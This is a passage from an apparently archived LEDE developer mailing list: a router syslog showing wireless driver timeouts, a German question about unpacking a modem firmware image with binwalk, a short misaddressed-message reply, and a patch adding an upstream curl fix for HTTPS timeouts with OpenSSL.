link connectivity loss
Tue Jan 10 02:56:02 2017 user.notice : Added device handler type: tunnel
Tue Jan 10 02:56:02 2017 user.notice : Added device handler type: Network device
Tue Jan 10 02:56:02 2017 user.notice : Added device handler type: bridge
Tue Jan 10 02:56:02 2017 user.notice : Added device handler type: macvlan
Tue Jan 10 02:56:02 2017 user.notice : Added device handler type: 8021ad
Tue Jan 10 02:56:02 2017 user.notice : Added device handler type: 8021q
Tue Jan 10 02:56:06 2017 kern.err kernel: [84908.998516] ieee80211
phy0: cmd 0x9100=BssStart timed out
Tue Jan 10 02:56:06 2017 kern.err kernel: [84909.003941] ieee80211
phy0: return code: 0x1100
Tue Jan 10 02:56:06 2017 kern.err kernel: [84909.008489] ieee80211
phy0: timeout: 0x1100
Tue Jan 10 02:56:06 2017 kern.err kernel: [84909.012699] ieee80211
phy0: failed execution
Tue Jan 10 02:56:10 2017 kern.err kernel: [84913.016474] ieee80211
phy0: cmd 0x9122=UpdateEncryption timed out
Tue Jan 10 02:56:10 2017 kern.err kernel: [84913.022619] ieee80211
phy0: return code: 0x1122
Tue Jan 10 02:56:10 2017 kern.err kernel: [84913.027171] ieee80211
phy0: timeout: 0x1122
Tue Jan 10 02:56:10 2017 kern.err kernel: [84913.031386] ieee80211
phy0: failed execution
Tue Jan 10 02:56:10 2017 kern.err kernel: [84913.035675] wlan0-1:
failed to remove key (1, ff:ff:ff:ff:ff:ff) from hardware (-5)
Tue Jan 10 02:56:15 2017 kern.err kernel: [84917.044413] ieee80211
phy0: cmd 0x9111=SetNewStation timed out
Tue Jan 10 02:56:15 2017 kern.err kernel: [84917.050282] ieee80211
phy0: return code: 0x1111
Tue Jan 10 02:56:15 2017 kern.err kernel: [84917.054842] ieee80211
phy0: timeout: 0x1111
Tue Jan 10 02:56:15 2017 kern.err kernel: [84917.059057] ieee80211
phy0: failed execution
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Interface 'lan' is enabled
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Interface 'lan' is setting up now
Tue Jan 10 02:56:15 2017 kern.info kernel: [84917.106579] mvneta
f1070000.ethernet eth1: configuring for fixed link mode
Tue Jan 10 02:56:15 2017 kern.info kernel: [84917.113646] mvneta
f1070000.ethernet eth1: Link is Up - 1Gbps/Full - flow control off
Tue Jan 10 02:56:15 2017 kern.info kernel: [84917.117776] device eth1
entered promiscuous mode
Tue Jan 10 02:56:15 2017 kern.info kernel: [84917.118720] IPv6:
ADDRCONF(NETDEV_UP): br-lan: link is not ready
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Interface 'lan' is now up
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Interface 'loopback' is enabled
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Interface 'loopback' is
setting up now
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Interface 'loopback' is now up
Tue Jan 10 02:56:15 2017 kern.info kernel: [84917.132325] br-lan: port
1(eth1) entered forwarding state
Tue Jan 10 02:56:15 2017 kern.info kernel: [84917.137767] br-lan: port
1(eth1) entered forwarding state
Tue Jan 10 02:56:15 2017 kern.info kernel: [84917.144732] mvneta
f1034000.ethernet eth0: configuring for fixed link mode
Tue Jan 10 02:56:15 2017 kern.info kernel: [84917.151706] IPv6:
ADDRCONF(NETDEV_UP): eth0: link is not ready
Tue Jan 10 02:56:15 2017 kern.info kernel: [84917.157608] IPv6:
ADDRCONF(NETDEV_CHANGE): br-lan: link becomes ready
Tue Jan 10 02:56:15 2017 kern.info kernel: [84917.164185] mvneta
f1034000.ethernet eth0: Link is Up - 1Gbps/Full - flow control off
Tue Jan 10 02:56:15 2017 kern.info kernel: [84917.164225] IPv6:
ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Interface 'wan' is enabled
Tue Jan 10 02:56:15 2017 daemon.notice netifd: bridge 'br-lan' link is up
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Interface 'lan' has
link connectivity
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Network device 'eth1' link is up
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Network device 'lo' link is up
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Interface 'loopback'
has link connectivity
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Network device 'eth0' link is up
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Interface 'wan' has
link connectivity
Tue Jan 10 02:56:15 2017 daemon.notice netifd: Interface 'wan' is setting up now
Tue Jan 10 02:56:15 2017 daemon.notice netifd: wan (4461): udhcpc:
started, v1.25.1
Tue Jan 10 02:56:15 2017 user.notice wondershaper: Error: Could not
find the device for network guest, aborting.
Tue Jan 10 02:56:15 2017 daemon.notice netifd: wan (4461): udhcpc:
sending discover
Tue Jan 10 02:56:15 2017 kern.debug kernel: [84917.255471] ieee80211
phy1: change: 0x40
Tue Jan 10 02:56:15 2017 user.notice firewall: Reloading firewall due
to ifup of lan (br-lan)
Tue Jan 10 02:56:15 2017 daemon.info dnsmasq[1937]: exiting on receipt
of SIGTERM
Tue Jan 10 02:56:15 2017 kern.debug kernel: [84917.345552] ieee80211
phy1: change: 0x100
Tue Jan 10 02:56:16 2017 daemon.notice netifd: wan (4461): udhcpc:
sending select for XXX
Tue Jan 10 02:56:16 2017 daemon.notice netifd: wan (4461): udhcpc:
lease of XXX obtained, lease time 7200
Tue Jan 10 02:56:17 2017 kern.info kernel: [84919.128372] br-lan: port
1(eth1) entered forwarding state
Tue Jan 10 02:56:19 2017 kern.err kernel: [84921.358346] ieee80211
phy0: cmd 0x9100=BssStart timed out
Tue Jan 10 02:56:19 2017 kern.err kernel: [84921.363771] ieee80211
phy0: return code: 0x1100
Tue Jan 10 02:56:19 2017 kern.err kernel: [84921.368320] ieee80211
phy0: timeout: 0x1100
Tue Jan 10 02:56:19 2017 kern.err kernel: [84921.372543] ieee80211
phy0: failed execution
Tue Jan 10 02:56:19 2017 kern.debug kernel: [84921.376837] ieee80211
phy0: change: 0x40
Tue Jan 10 02:56:23 2017 kern.err kernel: [84925.380295] ieee80211
phy0: cmd 0x9114=SetApMode timed out
Tue Jan 10 02:56:23 2017 kern.err kernel: [84925.385808] ieee80211
phy0: return code: 0x1114
Tue Jan 10 02:56:23 2017 kern.err kernel: [84925.390367] ieee80211
phy0: timeout: 0x1114
Tue Jan 10 02:56:23 2017 kern.err kernel: [84925.394566] ieee80211
phy0: failed execution
Tue Jan 10 02:56:27 2017 kern.err kernel: [84929.398234] ieee80211
phy0: cmd 0x8129=LinkAdaptCsMode timed out
Tue Jan 10 02:56:27 2017 kern.err kernel: [84929.404268] ieee80211
phy0: return code: 0x0129
Tue Jan 10 02:56:27 2017 kern.err kernel: [84929.408825] ieee80211
phy0: timeout: 0x0129
Tue Jan 10 02:56:27 2017 kern.err kernel: [84929.413025] ieee80211
phy0: failed execution
Tue Jan 10 02:56:31 2017 kern.err kernel: [84933.418178] ieee80211
phy0: cmd 0x8120=80211hDetectRadar timed out
Tue Jan 10 02:56:31 2017 kern.err kernel: [84933.424385] ieee80211
phy0: return code: 0x0120
Tue Jan 10 02:56:31 2017 kern.err kernel: [84933.428940] ieee80211
phy0: timeout: 0x0120
Tue Jan 10 02:56:31 2017 kern.err kernel: [84933.433139] ieee80211
phy0: failed execution
Tue Jan 10 02:56:35 2017 kern.err kernel: [84937.438123] ieee80211
phy0: cmd 0x810a=SetRfChannel timed out
Tue Jan 10 02:56:35 2017 kern.err kernel: [84937.443893] ieee80211
phy0: return code: 0x010a
Tue Jan 10 02:56:35 2017 kern.err kernel: [84937.448447] ieee80211
phy0: timeout: 0x010a
Tue Jan 10 02:56:35 2017 kern.err kernel: [84937.452645] ieee80211
phy0: failed execution
Tue Jan 10 02:56:35 2017 kern.debug kernel: [84937.456934] ieee80211
phy0: change: 0x100
Tue Jan 10 02:56:39 2017 kern.err kernel: [84941.456080] ieee80211
phy0: cmd 0x801c=80211RadioControl timed out
Tue Jan 10 02:56:39 2017 kern.err kernel: [84941.462291] ieee80211
phy0: return code: 0x001c
Tue Jan 10 02:56:39 2017 kern.err kernel: [84941.466839] ieee80211
phy0: timeout: 0x001c
Tue Jan 10 02:56:39 2017 kern.err kernel: [84941.471043] ieee80211
phy0: failed execution
Tue Jan 10 02:56:43 2017 kern.err kernel: [84945.476028] ieee80211
phy0: cmd 0x9122=UpdateEncryption timed out
Tue Jan 10 02:56:43 2017 kern.err kernel: [84945.482154] ieee80211
phy0: return code: 0x1122
Tue Jan 10 02:56:43 2017 kern.err kernel: [84945.486702] ieee80211
phy0: timeout: 0x1122
Tue Jan 10 02:56:43 2017 kern.err kernel: [84945.490907] ieee80211
phy0: failed execution
Tue Jan 10 02:56:43 2017 kern.err kernel: [84945.495194] wlan0: failed
to remove key (1, ff:ff:ff:ff:ff:ff) from hardware (-5)
Tue Jan 10 02:56:47 2017 kern.err kernel: [84949.501970] ieee80211
phy0: cmd 0x9111=SetNewStation timed out
Tue Jan 10 02:56:47 2017 kern.err kernel: [84949.507833] ieee80211
phy0: return code: 0x1111
Tue Jan 10 02:56:47 2017 kern.err kernel: [84949.512399] ieee80211
phy0: timeout: 0x1111
Tue Jan 10 02:56:47 2017 kern.err kernel: [84949.516601] ieee80211
phy0: failed execution
Tue Jan 10 02:56:51 2017 kern.err kernel: [84953.519390] ieee80211
phy0: cmd 0x801c=80211RadioControl timed out
Tue Jan 10 02:56:51 2017 kern.err kernel: [84953.525610] ieee80211
phy0: return code: 0x001c
Tue Jan 10 02:56:51 2017 kern.err kernel: [84953.530176] ieee80211
phy0: timeout: 0x001c
Tue Jan 10 02:56:51 2017 kern.err kernel: [84953.534377] ieee80211
phy0: failed execution
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq[4510]: started, version
2.76 cachesize 150
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq[4510]: compile time
options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP no-DHCPv6 no-Lua
TFTP no-conntrack no-ipset no-auth no-DNSSEC no-ID loop-detect inotify
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq[4510]: DNS service
limited to local subnets
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq-dhcp[4510]: DHCP, IP
range XXX -- XXX, lease time 12h
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq[4510]: using nameserver XXX
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq[4510]: using nameserver XXX
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq[4510]: using nameserver XXX
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq[4510]: using nameserver XXX
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq[4510]: using nameserver XXX
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq[4510]: using local
addresses only for domain lan
Tue Jan 10 02:56:51 2017 daemon.warn dnsmasq[4510]: no servers found
in /etc/resolv-crypt.conf, will retry
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq[4510]: read /etc/hosts -
4 addresses
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq[4510]: read
/tmp/hosts/dhcp.cfg02411c - 2 addresses
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq[4510]: read
/tmp/hosts/odhcpd - 0 addresses
Tue Jan 10 02:56:51 2017 daemon.info dnsmasq-dhcp[4510]: read
/etc/ethers - 0 addresses
Tue Jan 10 02:56:51 2017 daemon.notice netifd: Interface 'wan' is now up
Tue Jan 10 02:56:51 2017 daemon.notice netifd: wan (4461): Command
failed: Request timed out
Tue Jan 10 02:56:51 2017 user.notice wondershaper: Error: Could not
find the device for network guest, aborting.
Tue Jan 10 02:56:51 2017 user.notice wondershaper: Error: Could not
find the device for network guest, aborting.
Tue Jan 10 02:56:51 2017 user.notice firewall: Reloading firewall due
to ifup of wan (eth0)
Tue Jan 10 02:56:51 2017 daemon.notice netifd: radio0 (4429): command
failed: Not supported (-95)
Tue Jan 10 02:56:51 2017 daemon.notice netifd: radio1 (4430): command
failed: Not supported (-95)
Tue Jan 10 02:56:51 2017 daemon.notice netifd: radio1 (4430):
Configuration file: /var/run/hostapd-phy1.conf
Tue Jan 10 02:56:52 2017 user.notice ddns-scripts[4832]: myddns_ipv4:
PID '4832' started at 2017-01-10 02:56
Tue Jan 10 02:56:52 2017 kern.debug kernel: [84954.067918] ieee80211
phy1: change: 0xffffffff
Tue Jan 10 02:56:52 2017 user.warn ddns-scripts[4832]: myddns_ipv4:
Service section disabled! - TERMINATE
Tue Jan 10 02:56:52 2017 user.warn ddns-scripts[4832]: myddns_ipv4:
PID '4832' exit WITH ERROR '1' at 2017-01-10 02:56
Tue Jan 10 02:56:52 2017 daemon.notice netifd: radio1 (4430): wlan1:
interface state UNINITIALIZED->COUNTRY_UPDATE
Tue Jan 10 02:56:52 2017 daemon.notice netifd: radio1 (4430): Using
interface wlan1 with hwaddr XXX and ssid XXX
Tue Jan 10 02:56:52 2017 kern.info kernel: [84954.166135] IPv6:
ADDRCONF(NETDEV_UP): wlan1: link is not ready
Tue Jan 10 02:56:52 2017 daemon.notice netifd: radio0 (4429):
Configuration file: /var/run/hostapd-phy0.conf
Tue Jan 10 02:56:53 2017 daemon.info dnsmasq[4510]: exiting on receipt
of SIGTERM
Tue Jan 10 02:56:56 2017 kern.err kernel: [84958.239847] ieee80211
phy0: cmd 0x8203=SetRateAdaptationMode timed out
Tue Jan 10 02:56:56 2017 kern.err kernel: [84958.246406] ieee80211
phy0: return code: 0x0203
Tue Jan 10 02:56:56 2017 kern.err kernel: [84958.250963] ieee80211
phy0: timeout: 0x0203
Tue Jan 10 02:56:56 2017 kern.err kernel: [84958.255163] ieee80211
phy0: failed execution
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio0 (4429): Could
not set interface wlan0 flags (UP): I/O error
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio0 (4429): nl80211:
Could not set interface 'wlan0' UP
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio0 (4429): nl80211:
deinit ifname=wlan0 disabled_11b_rates=0
Tue Jan 10 02:56:56 2017 kern.debug kernel: [84958.259479] ieee80211
phy1: change: 0x100
Tue Jan 10 02:56:56 2017 kern.debug kernel: [84958.267843] ieee80211
phy1: change: 0x42
Tue Jan 10 02:56:56 2017 kern.info kernel: [84958.461991] IPv6:
ADDRCONF(NETDEV_CHANGE): wlan1: link becomes ready
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio1 (4430): wlan1:
interface state COUNTRY_UPDATE->ENABLED
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio1 (4430): wlan1: AP-ENABLED
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq[4988]: started, version
2.76 cachesize 150
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq[4988]: compile time
options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP no-DHCPv6 no-Lua
TFTP no-conntrack no-ipset no-auth no-DNSSEC no-ID loop-detect inotify
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq[4988]: DNS service
limited to local subnets
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq-dhcp[4988]: DHCP, IP
range XXX -- XXX, lease time 12h
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq[4988]: using nameserver XXX
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq[4988]: using nameserver XXX
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq[4988]: using nameserver XXX
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq[4988]: using nameserver XXX
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq[4988]: using nameserver XXX
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq[4988]: using local
addresses only for domain lan
Tue Jan 10 02:56:56 2017 daemon.warn dnsmasq[4988]: no servers found
in /etc/resolv-crypt.conf, will retry
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq[4988]: read /etc/hosts -
4 addresses
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq[4988]: read
/tmp/hosts/dhcp.cfg02411c - 2 addresses
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq[4988]: read
/tmp/hosts/odhcpd - 0 addresses
Tue Jan 10 02:56:56 2017 daemon.info dnsmasq-dhcp[4988]: read
/etc/ethers - 0 addresses
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio0 (4429): nl80211
driver initialization failed.
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio0 (4429): wlan0:
interface state UNINITIALIZED->DISABLED
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio0 (4429): wlan0-1:
AP-DISABLED
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio0 (4429): wlan0-1:
CTRL-EVENT-TERMINATING
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio0 (4429):
hostapd_free_hapd_data: Interface wlan0-1 wasn't started
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio0 (4429): wlan0: AP-DISABLED
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio0 (4429): wlan0:
CTRL-EVENT-TERMINATING
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio0 (4429):
hostapd_free_hapd_data: Interface wlan0 wasn't started
Tue Jan 10 02:56:56 2017 daemon.notice netifd: radio0 (4429): Device
setup failed: HOSTAPD_START_FAILED
Tue Jan 10 02:56:56 2017 daemon.notice netifd: Network device 'wlan1' link is up
Tue Jan 10 02:56:56 2017 daemon.notice netifd: Interface 'guest' is enabled
Tue Jan 10 02:56:56 2017 daemon.notice netifd: Interface 'guest' is
setting up now
Tue Jan 10 02:56:56 2017 daemon.notice netifd: Interface 'guest' is now up
Tue Jan 10 02:56:56 2017 daemon.notice netifd: Interface 'guest' has
link connectivity
Tue Jan 10 02:56:56 2017 daemon.err insmod: module is already loaded -
sch_ingress
Tue Jan 10 02:56:56 2017 daemon.err insmod: module is already loaded - sch_sfq
Tue Jan 10 02:56:56 2017 daemon.err insmod: module is already loaded - sch_htb
Tue Jan 10 02:56:56 2017 daemon.err insmod: module is already loaded - cls_u32
Tue Jan 10 02:56:56 2017 daemon.err insmod: module is already loaded -
act_police
Tue Jan 10 02:56:56 2017 user.notice wondershaper: Wondershaper was
started on device wlan1.
Tue Jan 10 02:56:56 2017 user.notice firewall: Reloading firewall due
to ifup of guest (wlan1)
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq[4988]: exiting on receipt
of SIGTERM
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq[5173]: started, version
2.76 cachesize 150
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq[5173]: compile time
options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP no-DHCPv6 no-Lua
TFTP no-conntrack no-ipset no-auth no-DNSSEC no-ID loop-detect inotify
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq[5173]: DNS service
limited to local subnets
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq-dhcp[5173]: DHCP, IP
range XXX -- XXX, lease time 1h
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq-dhcp[5173]: DHCP, IP
range XXX -- XXX, lease time 12h
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq[5173]: using nameserver XXX
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq[5173]: using nameserver XXX
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq[5173]: using nameserver XXX
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq[5173]: using nameserver XXX
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq[5173]: using nameserver XXX
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq[5173]: using local
addresses only for domain lan
Tue Jan 10 02:56:58 2017 daemon.warn dnsmasq[5173]: no servers found
in /etc/resolv-crypt.conf, will retry
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq[5173]: read /etc/hosts -
4 addresses
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq[5173]: read
/tmp/hosts/dhcp.cfg02411c - 2 addresses
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq[5173]: read
/tmp/hosts/odhcpd - 0 addresses
Tue Jan 10 02:56:58 2017 daemon.info dnsmasq-dhcp[5173]: read
/etc/ethers - 0 addresses
Tue Jan 10 02:57:06 2017 daemon.notice netifd: radio0 (5175): command
failed: Not supported (-95)
Tue Jan 10 02:57:06 2017 daemon.notice netifd: radio0 (5175):
Configuration file: /var/run/hostapd-phy0.conf
Tue Jan 10 02:57:10 2017 kern.err kernel: [84972.721652] ieee80211
phy0: cmd 0x8203=SetRateAdaptationMode timed out
Tue Jan 10 02:57:10 2017 kern.err kernel: [84972.728218] ieee80211
phy0: return code: 0x0203
Tue Jan 10 02:57:10 2017 kern.err kernel: [84972.732766] ieee80211
phy0: timeout: 0x0203
Tue Jan 10 02:57:10 2017 kern.err kernel: [84972.736965] ieee80211
phy0: failed execution
Tue Jan 10 02:57:10 2017 daemon.notice netifd: radio0 (5175): Could
not set interface wlan0 flags (UP): I/O error
Tue Jan 10 02:57:10 2017 daemon.notice netifd: radio0 (5175): nl80211:
Could not set interface 'wlan0' UP
Tue Jan 10 02:57:10 2017 daemon.notice netifd: radio0 (5175): nl80211:
deinit ifname=wlan0 disabled_11b_rates=0
Tue Jan 10 02:57:10 2017 daemon.notice netifd: radio0 (5175): nl80211
driver initialization failed.
Tue Jan 10 02:57:10 2017 daemon.notice netifd: radio0 (5175): wlan0:
interface state UNINITIALIZED->DISABLED
Tue Jan 10 02:57:10 2017 daemon.notice netifd: radio0 (5175): wlan0-1:
AP-DISABLED
Tue Jan 10 02:57:10 2017 daemon.notice netifd: radio0 (5175): wlan0-1:
CTRL-EVENT-TERMINATING
Tue Jan 10 02:57:10 2017 daemon.notice netifd: radio0 (5175):
hostapd_free_hapd_data: Interface wlan0-1 wasn't started
Tue Jan 10 02:57:10 2017 daemon.notice netifd: radio0 (5175): wlan0: AP-DISABLED
Tue Jan 10 02:57:10 2017 daemon.notice netifd: radio0 (5175): wlan0:
CTRL-EVENT-TERMINATING
Tue Jan 10 02:57:10 2017 daemon.notice netifd: radio0 (5175):
hostapd_free_hapd_data: Interface wlan0 wasn't started
Tue Jan 10 02:57:10 2017 daemon.info hostapd: wlan1: STA XXX IEEE
802.11: authenticated
Tue Jan 10 02:57:10 2017 daemon.notice netifd: radio0 (5175): Device
setup failed: HOSTAPD_START_FAILED
Tue Jan 10 02:57:17 2017 daemon.info hostapd: wlan1: STA XXX IEEE
802.11: authenticated
Tue Jan 10 02:57:18 2017 daemon.info hostapd: wlan1: STA XXX IEEE
802.11: associated (aid 1)
Tue Jan 10 02:57:18 2017 daemon.info hostapd: wlan1: STA XXX WPA:
pairwise key handshake completed (RSN)
Tue Jan 10 02:57:18 2017 daemon.info dnsmasq-dhcp[5173]: DHCPDISCOVER(wlan1) XXX
Tue Jan 10 02:57:18 2017 daemon.info dnsmasq-dhcp[5173]: DHCPOFFER(wlan1) XXX
Tue Jan 10 02:57:18 2017 daemon.info dnsmasq-dhcp[5173]: DHCPREQUEST(wlan1) XXX
Tue Jan 10 02:57:18 2017 daemon.info dnsmasq-dhcp[5173]: DHCPACK(wlan1) XXX
Tue Jan 10 02:57:26 2017 daemon.info hostapd: wlan1: STA XXX IEEE
802.11: authenticated
Tue Jan 10 02:57:27 2017 daemon.info hostapd: wlan1: STA XXX IEEE
802.11: associated (aid 2)
Tue Jan 10 02:57:27 2017 daemon.info hostapd: wlan1: STA XXX WPA:
pairwise key handshake completed (RSN)
Tue Jan 10 02:57:27 2017 daemon.info dnsmasq-dhcp[5173]: DHCPREQUEST(wlan1) XXX
Tue Jan 10 02:57:27 2017 daemon.info dnsmasq-dhcp[5173]: DHCPACK(wlan1) XXX


From florian at eprofs.de  Tue Jan 10 09:22:22 2017
From: florian at eprofs.de (Florian Wobbe)
Date: Tue, 10 Jan 2017 18:22:22 +0100
Subject: [LEDE-DEV] All0333CJ LEDE
Message-ID: <E60F6518-7EBC-410F-A564-FA3C00766BC7@eprofs.de>

Hi Tino,

ich habe deinen thread auf LEDE-DEV gesehen. Ich habe einige Erfahrung
im Portieren von Freezt, LEDE ist mir jedoch neu. Deshalb ein paar Fragen bevor ich starte:

Ist das Modem mit deinem gepatchten LEDE-kernel bereits voll
einsatzf?hig im Bridge-Modus? Auf deiner Seite steht etwas von 70% Fortschritt. Was meinst du genau damit?

Hat der Einsatz von neuem kernel bzw. DSL-Firmware Auswirkung auf die
Erw?rmung des Ger?ts?

Die standard DSL Firmware scheint nur mit maximal 2 Mbps Upload zu synchronisieren. Konntest du das Problem mit einer aktuelleren Firmware beheben?

Dein Image konnte ich entpacken aber hast du eine Idee wie man das Filesystem von mtd1.bin entpackt?

$ binwalk mtd1.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
---------------------------------------------------------------------
-----------
0             0x0             Squashfs filesystem, big endian, lzma
compression, version 2.1, size: 1856697 bytes, 790 inodes, blocksize:
65536 bytes, created: 2013-01-24 05:38:40
3556560       0x3644D0        uImage header, header size: 64 bytes,
header CRC: 0xED79EBF9, created: 2013-01-24 05:38:19, image size:
552170 bytes, Data Address: 0x80002000, Entry Point: 0x8019A040, data
CRC: 0x38AAA3BA, OS: Linux, CPU: MIPS, image type: OS Kernel Image,
compression type: lzma, image name: "MIPS Linux-2.4.31-Amazon_SE-3.6.]"
3556624       0x364510        LZMA compressed data, properties: 0x5D,
dictionary size: 8388608 bytes, uncompressed size: 1867776 bytes
4108808       0x3EB208        gzip compressed data, maximum
compression, from Unix, last modified: 2013-01-24 13:29:07

Ich hab mit unsquashfs_all.sh von firmware-mod-kit keinen Erfolg.

Gru?
Florian
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 839 bytes
Desc: Message signed with OpenPGP using GPGMail
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170110/0276d434/attachment.sig>

From jo at mein.io  Tue Jan 10 09:38:00 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Tue, 10 Jan 2017 18:38:00 +0100
Subject: [LEDE-DEV] All0333CJ LEDE
In-Reply-To: <E60F6518-7EBC-410F-A564-FA3C00766BC7@eprofs.de>
References: <E60F6518-7EBC-410F-A564-FA3C00766BC7@eprofs.de>
Message-ID: <09c012d8-f0b0-95ea-1b2c-32d65499fff4@mein.io>

Hi Florian,

I suppose you've chosen the wrong recipient address here :)

~ Jo

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170110/cef6550f/attachment.sig>

From francesco.borromini at inventati.org  Tue Jan 10 10:57:47 2017
From: francesco.borromini at inventati.org (Stijn Segers)
Date: Tue, 10 Jan 2017 19:57:47 +0100
Subject: [LEDE-DEV] [PATCH v3] Curl: fix HTTPS network timeouts with OpenSSL
Message-ID: <20170110185747.2424-1-francesco.borromini@inventati.org>

Hi John,

I hope this works better then? Wasn't too sure about leaving in the e-mail etc.
from upstream.

This patch fixes HTTPS timeouts with OpenSSL. Upstream curl bug #1174.

Cheers!

Stijn

Signed-off-by: Stijn Segers <francesco.borromini at inventati.org>
---
 .../curl/patches/320-curl-https-openssl-fix.patch  | 36 ++++++++++++++++++++++
 1 file changed, 36 insertions(+)
 create mode 100644 package/network/utils/curl/patches/320-curl-https-openssl-fix.patch

diff --git a/package/network/utils/curl/patches/320-curl-https-openssl-fix.patch b/package/network/utils/curl/patches/320-curl-https-openssl-fix.patch
new file mode 100644
index 0000000000..259f618d46
--- /dev/null
+++ b/package/network/utils/curl/patches/320-curl-https-openssl-fix.patch
@@ -0,0 +1,36 @@
+From a7b38c9dc98481e4a5fc37e51a8690337c674dfb Mon Sep 17 00:00:00 2001
+From: Daniel Stenberg <daniel at haxx.se>
+Date: Mon, 26 Dec 2016 00:06:33 +0100
+Subject: [PATCH] vtls: s/SSLEAY/OPENSSL
+
+Fixed an old leftover use of the USE_SSLEAY define which would make a
+socket get removed from the applications sockets to monitor when the
+multi_socket API was used, leading to timeouts.
+
+Bug: #1174
+---
+ lib/vtls/vtls.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/lib/vtls/vtls.c b/lib/vtls/vtls.c
+index b808e1c..707f24b 100644
+--- a/lib/vtls/vtls.c
++++ b/lib/vtls/vtls.c
+@@ -484,7 +484,7 @@ void Curl_ssl_close_all(struct Curl_easy *data)
+   curlssl_close_all(data);
+ }
+ 
+-#if defined(USE_SSLEAY) || defined(USE_GNUTLS) || defined(USE_SCHANNEL) || \
++#if defined(USE_OPENSSL) || defined(USE_GNUTLS) || defined(USE_SCHANNEL) || \
+     defined(USE_DARWINSSL) || defined(USE_NSS)
+ /* This function is for OpenSSL, GnuTLS, darwinssl, and schannel only. */
+ int Curl_ssl_getsock(struct connectdata *conn, curl_socket_t *socks,
+@@ -518,7 +518,7 @@ int Curl_ssl_getsock(struct connectdata *conn,
+   (void)numsocks;
+   return GETSOCK_BLANK;
+ }
+-/* USE_SSLEAY || USE_GNUTLS || USE_SCHANNEL || USE_DARWINSSL || USE_NSS */
++/* USE_OPENSSL || USE_GNUTLS || USE_SCHANNEL || USE_DARWINSSL || USE_NSS */
+ #endif
+ 
+ void Curl_ssl_close(struct connectdata *conn, int sockindex)
-- 
2.11.0



From sebastian_ml at gmx.net  Tue Jan 10 11:00:44 2017
From: sebastian_ml at gmx.net (Sebastian Kemper)
Date: Tue, 10 Jan 2017 20:00:44 +0100
Subject: [LEDE-DEV] procd question, something causing high cpu usage
In-Reply-To: <20170109153302.GG15149@tuxmachine.polynome.dn42>
References: <20161219225824.GA31017@hotdamn.lan>
 <20170109153302.GG15149@tuxmachine.polynome.dn42>
